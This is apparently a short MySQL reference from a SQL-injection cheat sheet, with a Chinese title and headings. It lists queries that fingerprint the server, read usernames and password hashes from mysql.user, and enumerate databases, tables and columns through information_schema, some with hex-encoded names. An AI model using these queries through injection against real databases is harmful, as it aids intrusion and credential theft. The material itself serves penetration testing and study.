1、SQL注入语句之Mysql(1)Basic info

Mysql

Basic info

version(), @@version, @@global.version 

-nt-log means window os 

user(), current_user(), current_user, system_user(), session_user() 

 

database(), schema() 

 

@@hostname 

 

uuid() 

Last 12digits means mac 

@@datadir 

 

@@tmpdir 

 

@@plugin_dir 

 

@@version_compile_os 

 

@@version_compile_machine 

 

select concat(version(),0x7c,user(),0x7c,database()) 

 

create database mysqltest; 

show databases; 

use mysqltest; 

create table admin(id int,username varchar(255),password varchar(255)); 

show tables; 

insert into admin (id,username,password) values (1,"admin","password"); 

列用户 

select user,password,host from mysql.user 

select concat(user,0x7c,password,0x7c,host) from mysql.user 

version>5.7 password→authentication_string 

列库 

select schema_name from information_schema.schemata 

select group_concat(schema_name)from information_schema.schemata 

select distinct(table_schema)from information_schema.tables 

select group_concat(distinct(table_schema))from information_schema.tables 

列表 

select table_name from information_schema.tables where table_schema='mysql' 

select table_name from information_schema.tables where table_schema=0x6d7973716c 

select group_concat(table_name) from information_schema.tables where table_schema='mysql' 

列字段 

select column_name from information_schema.columns where table_schema='staredit' and table_name='staredit' 

select column_name from information_schema.columns where table_schema=0x7374617265646974 and table_name=0x7374617265646974 

select group_concat(column_name) from information_schema.columns where table_schema='staredit' and table_name='staredit' 

列名找表 

SELECT table_name FROM information_schema.columns WHERE column_name = 'username' 

SELECT table_name FROM information_schema.columns WHERE column_name LIKE '%user%' 

表名找列 

SELECT column_name FROM information_schema.columns WHERE table_name = 'Users' 

SELECT column_name FROM information_schema.columns WHERE table_name LIKE '%user%'